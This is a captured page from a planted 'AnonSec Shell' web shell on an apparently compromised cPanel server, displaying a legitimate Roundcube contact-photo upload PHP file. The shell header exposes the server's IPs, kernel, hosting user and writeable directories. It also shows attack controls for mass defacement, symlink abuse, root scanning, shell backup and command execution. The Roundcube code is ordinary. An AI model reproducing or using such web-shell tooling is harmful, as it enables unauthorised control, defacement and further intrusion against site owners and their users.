AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/root/proc/2388322/cwd/3rdparty/roundcube/program/actions/contacts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/root/proc/2388322/cwd/3rdparty/roundcube/program/actions/contacts/upload_photo.php
<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handles contact photo uploads                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <[email protected]>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_upload_photo extends rcmail_action_contacts_index
{
    /**
     * Supported image format types
     * ImageMagick works with other non-image types (e.g. pdf), we don't want that here
     *
     * @var array
     */
    public static $IMAGE_TYPES = ['jpeg','jpg','jp2','tiff','tif','bmp','eps','gif','png','png8','png24','png32','svg','ico'];

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // clear all stored output properties (like scripts and env vars)
        $rcmail->output->reset();

        if (!empty($_FILES['_photo']['tmp_name'])) {
            $filepath = $_FILES['_photo']['tmp_name'];

            // check file type and resize image
            $image     = new rcube_image($_FILES['_photo']['tmp_name']);
            $imageprop = $image->props();

            if (
                in_array(strtolower($imageprop['type']), self::$IMAGE_TYPES)
                && $imageprop['width']
                && $imageprop['height']
            ) {
                $maxsize   = intval($rcmail->config->get('contact_photo_size', 160));
                $tmpfname  = rcube_utils::temp_filename('imgconvert');
                $save_hook = 'attachment_upload';

                // scale image to a maximum size
                if (($imageprop['width'] > $maxsize || $imageprop['height'] > $maxsize) && $image->resize($maxsize, $tmpfname)) {
                    $filepath  = $tmpfname;
                    $save_hook = 'attachment_save';
                }

                // save uploaded file in storage backend
                $attachment = $rcmail->plugins->exec_hook($save_hook, [
                        'path'     => $filepath,
                        'size'     => $_FILES['_photo']['size'],
                        'name'     => $_FILES['_photo']['name'],
                        'mimetype' => 'image/' . $imageprop['type'],
                        'group'    => 'contact',
                ]);
            }
            else {
                $attachment = ['error' => $rcmail->gettext('invalidimageformat')];
            }

            if (!empty($attachment['status']) && empty($attachment['abort'])) {
                $file_id = $attachment['id'];
                $_SESSION['contacts']['files'][$file_id] = $attachment;
                $rcmail->output->command('replace_contact_photo', $file_id);
            }
            else {
                // upload failed
                self::upload_error($_FILES['_photo']['error'], $attachment);
            }
        }
        else {
            self::upload_failure();
        }

        $rcmail->output->command('photo_upload_end');
        $rcmail->output->send('iframe');
    }
}

Anon7 - 2022
AnonSec Team